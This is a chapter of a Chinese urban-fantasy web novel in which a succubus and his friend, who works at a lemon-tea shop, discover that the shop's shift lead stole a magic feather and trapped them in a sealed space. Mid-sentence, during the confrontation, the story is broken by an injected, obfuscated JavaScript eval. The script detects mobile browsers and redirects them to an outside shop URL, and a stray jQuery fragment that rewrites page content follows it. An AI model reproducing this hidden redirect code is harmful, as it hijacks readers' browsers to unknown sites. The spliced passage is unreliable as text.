刘哥严肃地看向奚乔:“这位先生,请不要骚扰我们店的员工。” 奚乔也收敛笑容:“这位刘哥,我在跟我朋友闹着玩,您也要管吗?” 没救了。 也就是这会儿店里人少,来往也就匆匆的外卖小哥,俩人你一言我一语地怼起来没太大影响。 边恪想插话,可惜嘴笨,死活搭不上,只能回以哐哐的捣柠檬声,一口气做完了十杯迷迭香。 “你其实也不用那么实诚,十杯茶等其他人吃完饭回来再做也行。”刘哥抽空关注了一下边恪,“反正你朋友好像也不着急。” “着急啊!”奚乔跟刘哥斗嘴上头了,看见边恪才忙改口,“对对,不着急不着急!” 边恪闷闷地和刘哥一块把茶打包好,心下犹豫得快打成了死结。 刘哥把两袋子柠檬茶递给奚乔,说着:“快走不送。” “切。”奚乔白眼都快翻出来,“你就是这样对待顾客的?” “我送送他吧,刘哥。”在他们又吵起来之前,边恪忙硬着头皮说,“就一会会,不会耽误太久。” “是啊,刘哥,不会耽误太久。”奚乔闻言,立马缓和语气,满脸堆笑地附和说。 刘哥失笑,回答边恪:“去吧,给你五分钟。” 边恪忙忙绕出操作台,一手拎柠檬茶,一手拽过奚乔走出门。 奚乔不明就里,还笑呵呵地说:“唉呀,你就那么急着把我送走啊?” 边恪不吭声,也不扭头,一直把奚乔拽到商场外的僻静处,才把柠檬茶袋子塞进奚乔手里,神情凝重地压低声音:“好感羽毛丢了。” “啊?”奚乔没反应过来。 边恪向奚乔演示地掏掏自己的围裙兜:“我就把羽毛放进兜里,准备拿出来的时候就不见了。” 他把围裙兜的内衬都拉了出来,再摊开手,都空空如也。 “我敢肯定我没乱扔,也没人过来偷。” “害,我以为多大个事儿呢。”奚乔不以为意,“那羽毛有我的印记,我稍稍感应一下就知道位置了。” 边恪期待地抓住奚乔胳膊:“那赶紧啊!” 很快,奚乔空闲的那只手亮出粉紫色的六芒星法阵,原本奚乔表情轻松,还开玩笑说边恪太紧张了,但大约过了半分钟后,除了法阵光芒在亮,其他的什么也没发生。 奚乔神情也凝重起来:“我感应不到羽毛的位置。” 边恪心里一咯噔:“那怎么办?” 奚乔拢了拢手指,将光芒熄灭在掌心:“我去找,你回去照常上班。” 魅魔语气不容置疑,通身那轻浮欢快的气质全数收敛,暮色四合,他站在商场大楼的阴影里,像一柄蓄势待发的长剑,肃杀又危险。 “能找到吗?”边恪颤声问。 “我尽量。你也不用担心,这羽毛我多得很,不怕丢。”奚乔安慰地笑笑。 “可要是被坏人拿走了呢?”边恪眼前闪过了不少电视剧场景,“比如说人贩子,他们拿到羽毛,能拐走更多小孩。” “那倒不会,拿走羽毛的根本不是人类……”奚乔快速地嘀咕了一句,又很快把话咽了下去,“总而言之,你放心。” 话说到这程度了,边恪也没法放心。 “如果我下班的时候你还没找到,那我们俩就一起找。”边恪仰起脸,定定地看着奚乔,“中间遇到什么危险,你一定不能硬抗,能跑就跑,不能跑就把我捎过去,我多多少少也会一些拳脚功夫。” “知道了。”奚乔揉了两把边恪发顶,“安心上班去吧。” * 安不安心,活还是照样干,且照样多。 又被安排在后厨切柠檬,边恪也无所谓了,把心分两半,一半在切柠檬的长刀上,一半在寻找羽毛的奚乔身上。 如果不是他多事,奚乔不会把羽毛给他,羽毛也不会弄丢…… “弟仔,小心手啊!”搭班的同事杨姐提醒道,“你还没转正,切到手没医保报销费用!” 边恪回过神,发现自己的手指尖在刀口下,差一点点就切下去了。 他紧急缩回手,向杨姐道了谢,更加集中了精神。 下班后有需要的话,他还得和奚乔一块抓羽毛大盗,可不能为这点小事受伤。 今晚依旧是工作日,客流没有休息日以及奚乔来的那天多,操作台的俩同事还能时不常来后厨和杨姐聊天,倒是刘哥一如既往地守在收银台,有客人点单,才往后厨喊一嗓子:“出来干活!” 其实刘哥除开严肃了些、对奚乔不友好了些,人品还可以,至少他工作认真,说教边恪就教边恪,也没有藏私,店里不管是谁都对他很服气。 不过说起来叫哥,边恪还是看不出刘哥多大岁数了,冷着脸时似乎和边恪差不多大,带一些难以忽略的锋芒,但公式化假笑时,又让边恪想起村里年纪很大的老先生,锋芒被和蔼完全取代了。 和蔼?这对吗…… 边恪觉得自己真是个文盲。 “边恪是吧?”耳边忽然传来了刘哥的声音。 边恪吓得把手上的柠檬丢回水槽,循声扭过脸,刘哥正站在他身后。 “怎么了,刘哥?”边恪发懵地问。 “这会儿客流少了,你去操作台站会儿,换琪琪到后厨。”刘哥说。 琪琪就是换饭那会儿的同事,听到刘哥这安排,没吱声反驳,只是白了边恪一眼。 边恪讪笑地打圆场说后厨没多少活,但琪琪不搭理他,他也就不自讨没趣,乖乖跟刘哥来到操作台。 结果做了一会儿茶才发现,操作台就他和刘哥两人。 刘哥说另一个同事上的是中班,这会儿到点下班了,所以才让边恪来前边补位。 “前些日子没让你来前头,就是客流量太大,怕你做茶不熟练过程,耽误时间,就让杨姐先带你在后厨备料,等没那么多单子了,我再教你怎么做柠檬茶。”刘哥边给做好的柠檬茶打塑封,边向边恪解释道,“本来该早点跟你说一声的,但一直没找着机会,特别你换饭和下班的时候跑得太快,抓都抓不住你。” “你跟店长说你之前没在奶茶店工作过,但你还蛮聪明,我下午随便点拨两句,你就能自己做柠檬茶了。” 边恪不好意思地笑笑,加快去捣杯子里的柠檬:“我也是看了一个星期的视频,自己学了一点。” “工作态度挺好,难怪你朋友愿意来帮你。”刘哥说。 话递到这儿了,边恪忍不住脱口而出:“哥,你为什么看我朋友不顺眼啊?” 说完他就浑身尬住,恨不得给自己一杵子。 “我表现得那么明显吗?”刘哥直接致命反问。 可惜杵子要用来捣柠檬,边恪硬着头皮回答:“也不是,就是……啊,我这么说吧……” “还是我来说吧。”刘哥打断他,“你朋友长得有点像我认识的一个人,我和那人有些不对付。” “那你这是迁怒啊。”边恪再次脱口而出。 “也不一定。”刘哥笑了,把塑封好的柠檬茶装袋,“或许你朋友跟那个人真有什么关系呢。” 欸?边恪支起了耳朵,可惜刘哥不再多说,反而继续催促边恪快点捣柠檬,单子只是不多了,但不是没有了。 燕燕,你在哪儿啊?要不然咱们先查查刘哥呢? 边恪也不禁“迁怒”起来。 结果想燕燕,燕燕到。 边恪听见门口的响声,扭脸看过去时,那修长的粉紫色身影闪到了收银台前。 奚乔衬衣翻起褶皱、卷发散乱,仿佛刚刚经历了一场狂风,粉水晶般的眼瞳闪烁着危险的金芒。 “原来是你。”奚乔定定地看着刘哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553654|204351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬牙说道。 边恪下意识就攥紧杵子,防备着和他挤在狭长操作台的刘哥。 刘哥又挂起那公式化的假笑,从额头到嘴角叠起菊花般的褶子,像一个慈祥的百岁老人。 “找了差不多三个小时,你追查功夫差了许多。”刘哥不紧不慢地说,“也不知道你哥怎么放心你来人界的,一生气连眼睛的伪装都不做了?” 奚乔被他一激,眼看着犄角冒出、唇边也生出了过长的虎牙。 “燕燕!”边恪连忙喊他,“我还有一个小时下班!” 奚乔一怔,似乎反应过来这是在外边,犄角虎牙消褪,眼睛也从粉色变成了不出挑的浅棕。 “阿鲟,就是这个刘哥偷的羽毛!”奚乔回过神,抬手指着刘哥,不禁放声嚷嚷。 刘哥岿然不动,甚至还在打包柠檬茶,店里静得仿佛空气都凝固住了,也没听见后厨同事的说笑声,更不见外卖小哥进门。 边恪猛地往后厨看去,发现后厨前台的连接处被挡了一扇黑漆描金边的木门,与此同时店门口也缓缓升起这样一扇拱形木门。 他们三人处在柠檬茶店里,却和其他人完全隔绝开。 “隔绝空间的魔法。”奚乔脖颈和手臂青筋暴起,他瞪着没事人般的刘哥,指尖粉紫色的法阵光芒闪烁,“你到底是个什么东西?” “为什么要偷我的羽毛?” 边恪也悄声闪到刘哥身后,拿杵子对着刘哥后心,心想刘哥要有什么危险动作,他就下手把人打晕。 “看来你的物种常识学到饕餮肚子里了。”刘哥并没有正面回答奚乔,“先把手上的东西放下吧。” 他话音刚落,边恪手上的杵子飞进水槽,奚乔指尖的光芒也瞬间熄灭。 “你做了什么?”奚乔干脆扑上前,揪住了刘哥的衣领。 边恪手上没东西,也只好两步上前,用手刃抵住刘哥后脖颈。 刘哥叹了口气:“在我的空间里,你们确定要跟我动手吗?” 奚乔神色一滞,手上的劲儿没松:“那你让边恪出来,站我背后。” “我又没防着他出去。”刘哥耸耸肩,“推开操作台的隔板就行。” 奚乔便向边恪狂使眼色,边恪不动:“我们还没动手呢,你怎么肯定我们打不过?” 刘哥扭头,冷脸觑了边恪一眼:“我刚刚白夸你聪明了,原来也是个小傻子。” 便听见一声清脆的响指,边恪脑袋一沉,再一定神,发现自己坐在了奚乔大腿上,而奚乔则坐在了门边的椅子上。 边恪下意识想起身,但动弹不得,奚乔则不断地念念有词,指尖的光芒亮了灭、灭了亮。 刘哥还站在操作台里,捡起边恪丢下的杵子,仔细清洗起来。 “再等一个小时下班,你们跟我走一趟,就知道我拿羽毛做什么了。”刘哥说。 “你这是偷,不是拿!”边恪纠正道,不停地挣扎起身,几次三番无果也挣出了些火气。 “好好好,那你们能打我吗?”刘哥冲他们晃晃杵子,又笑出了满脸褶子。 “有本事解除了空间魔法再说!”奚乔不服气地喊着。 “没本事。”刘哥很是坦然,“你们乖一点,听我的话呢,我就放你们出去。” “小魅魔,你不想出去不要紧,但边恪还没下班呢,他不出去,这一个小时算旷工。” 边恪一听更火了:“旷工就旷工!你偷人东西还有理了?唔……” 奚乔不知怎么活动了手,将边恪嘴一捂,咬牙切齿道:“好,我们愿意跟你走一趟,你先放我们出去。” 眼前飞过黑金色的细线,边恪又一晃神,发现自己站回了操作台,手里重新拿起捣柠檬的杵子。 刘哥若无其事地把贴好新标签的空杯子递给他:“手脚麻利点儿,又来了三个新单子。” 后厨外的门消失,店门也变回了原先的玻璃材质。 奚乔则仍然坐在店门边的椅子上,有一下没一下地敲着手边的桌子,给了他一个安抚的眼神:“阿鲟,你先工作,再忍一个小时。” 好吧,好吧,边恪闷闷地接过空杯子,他才在店里工作一个多星期,工资没拿到手,也不能就这么莫名地干黄了。 “哐哐哐”,边恪挥舞杵子,暴打起了柠檬,正好这位顾客点的是他们店的新品:暴打渣柠。